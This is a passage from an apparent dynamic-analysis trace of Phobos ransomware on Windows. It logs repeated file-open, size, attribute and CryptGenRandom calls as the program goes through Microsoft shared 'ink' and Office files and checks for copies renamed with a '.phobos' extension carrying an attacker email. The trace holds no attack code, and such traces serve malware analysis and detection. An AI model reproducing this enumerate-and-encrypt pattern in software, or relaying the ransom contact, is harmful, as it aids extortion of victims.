shared\\ink\\pl-pl\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.614] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.614] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10752) returned 1 [0149.614] CloseHandle (hObject=0x580) returned 1 [0149.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0149.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.615] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.615] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10752) returned 1 [0149.615] CloseHandle (hObject=0x580) returned 1 [0149.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0149.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.615] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.616] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10752) returned 1 [0149.616] CloseHandle (hObject=0x580) returned 1 [0149.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0149.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.616] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.621] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=177664) returned 1 [0149.621] CloseHandle (hObject=0x580) returned 1 [0149.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0149.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.623] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.623] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.627] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=733696) returned 1 [0149.627] CloseHandle (hObject=0x57c) returned 1 [0149.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0149.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.630] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.630] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10240) returned 1 [0149.630] CloseHandle (hObject=0x57c) returned 1 [0149.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0149.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.631] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.631] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9728) returned 1 [0149.631] CloseHandle (hObject=0x57c) returned 1 [0149.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui")) returned 0x20 [0149.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.631] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.632] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10240) returned 1 [0149.632] CloseHandle (hObject=0x57c) returned 1 [0149.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0149.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.632] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.637] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=41984) returned 1 [0149.637] CloseHandle (hObject=0x57c) returned 1 [0149.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0149.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.637] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.639] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=391040) returned 1 [0149.639] CloseHandle (hObject=0x57c) returned 1 [0149.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0149.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.641] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.652] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1086464) returned 1 [0149.652] CloseHandle (hObject=0x57c) returned 1 [0149.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0149.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.653] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.653] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=647584) returned 1 [0149.653] CloseHandle (hObject=0x57c) returned 1 [0149.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0149.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.654] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.656] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=96768) returned 1 [0149.656] CloseHandle (hObject=0x57c) returned 1 [0149.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0149.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.656] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.657] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=7168) returned 1 [0149.657] CloseHandle (hObject=0x57c) returned 1 [0149.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0149.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.657] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.659] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=7168) returned 1 [0149.659] CloseHandle (hObject=0x57c) returned 1 [0149.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0149.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.660] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.662] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=370176) returned 1 [0149.662] CloseHandle (hObject=0x57c) returned 1 [0149.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0149.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.662] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.666] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1475160) returned 1 [0149.666] CloseHandle (hObject=0x57c) returned 1 [0149.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup 